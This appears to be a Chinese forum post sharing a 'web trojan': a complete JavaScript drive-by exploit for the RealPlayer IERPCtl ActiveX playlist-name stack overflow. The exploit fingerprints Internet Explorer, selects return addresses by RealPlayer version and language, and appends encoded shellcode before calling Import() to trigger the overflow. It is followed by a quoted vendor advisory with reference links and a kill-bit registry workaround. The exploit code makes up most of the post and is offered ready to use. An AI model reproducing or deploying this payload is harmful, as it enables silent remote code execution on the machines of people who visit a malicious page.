RealPlayer 最新网马
<script language="javascript">
eval("function RealExploit()
{
var user = navigator.userAgent.toLowerCase();
if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1)
return;
if(user.indexOf("nt 5.")==-1)
return;
VulObject = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
Real = new ActiveXObject(VulObject);
}catch(error)
{
return;
}
RealVersion = Real.PlayerProperty("PRODUCTVERSION");
Padding = "";
JmpOver = unescape("%75%06%74%04");
for(i=0;i<32*148;i++)
Padding += "S";
if(RealVersion.indexOf("6.0.14.") == -1)
{
if(navigator.userLanguage.toLowerCase() == "zh-cn")
ret = unescape("%7f%a5%60");
else if(navigator.userLanguage.toLowerCase() == "en-us")
ret = unescape("%4f%71%a4%60");
else
return;
}
else if(RealVersion == "6.0.14.544")
ret = unescape("%63%11%08%60");
else if(RealVersion == "6.0.14.550")
ret = unescape("%63%11%04%60");
else if(RealVersion == "6.0.14.552")
ret = unescape("%79%31%01%60");
else if(RealVersion == "6.0.14.543")
ret = unescape("%79%31%09%60");
else if(RealVersion == "6.0.14.536")
ret = unescape("%51%11%70%63");
else
return;
if(RealVersion.indexOf("6.0.10.") != -1)
{
for(i=0;i<4;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.11.") != -1)
{
for(i=0;i<6;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.12.") != -1)
{
for(i=0;i<9;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.14.") != -1)
{
for(i=0;i<10;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
AdjESP = "LLLL\\XXXXXLD";
Shell = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIJKBtnkSEgLnkD4vUT8fczUpVLKQfa04CHuFSJiCyqQnMFSIKtvvomnVtFHfXYbbTTHYQzkTMgsxZ3pjKHoUkyO1eJGqNlKsnQ4S3YMRFnkDL2knkQNELeSIMNkGtlKFckukspuSB2LrMrOpnTnE4RLRLS01S7JclRuVNSUt8PegpEcIPU4vcQPP0ahTLnkaP4LNkppwlNMLKSps8JKS9lKCpUdLMcpcLNkaPWLJ5OOLNbn4NjLzHNdKOyokOmS8ls4K3dltd7LIoN0lUv0MoTv4ZdoBPhhROkOKOYoLKSdWTkLLMSbNZVSYKrsbs3bzKfD0SKOjp1MOONxKNozTNm8scioKOkONcJLUTK3VLQ4qrKOxPMosNkhm2qcHhspKOkO9obrkOXPkXKg9oKO9osXsDT4pp4zvODoE4ea6NPlrLQcu71yrNcWTne3poPmTo2DDqFOprrLDnpecHQuWp";
PayLoad = Padding + AdjESP + Shell;
while(PayLoad.length < 0x8000)
PayLoad += "YuanGe"; // 汗~袁哥~-.=!
Real.Import("c:\\Program Files\\NetMeeting\\TestSnd.wav", PayLoad,"", 0, 0);
}
RealExploit();")
</script>
关于该漏洞的说明(来自绿盟):
Quotation
RealPlayer ierpplug.dll ActiveX控件播放列表名称栈溢出漏洞
RealPlayer是一款流行的媒体播放器,支持多种媒体格式。
RealPlayer的MPAMedia.dll库所提供的RealPlayer数据库组件在处理播放列表名时存在栈溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。
由于可使用ierpplug.dll所提供的IERPCtl ActiveX控件将本地文件导入到RealPlayer中指定的播放列表,因此如果用户受骗访问了恶意网页并通过IERPCtl ActiveX控件的Import()方式导入了恶意文件的话,就可以触发这个溢出,导致拒绝服务或执行任意指令。
< *来源:Will Dormann
链接:http://www.symantec.com/enterprise/security_response/weblog/2007/10/realplayer_exploit_on_the_loos.h
http://www.kb.cert.org/vuls/id/871673
http://service.real.com/realplayer/security/191007_player/en/
http://secunia.com/advisories/27248/
http://www.us-cert.gov/cas/techalerts/TA07-297A.html
*>
建议:
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临时解决方法:
在IE中禁用IERPCtl ActiveX控件,为以下CLSID设置kill bit:
{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}
或将以下文本保存为.REG文件并导入:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}]
"Compatibility Flags"=dword:00000400
姓名:Chinadu
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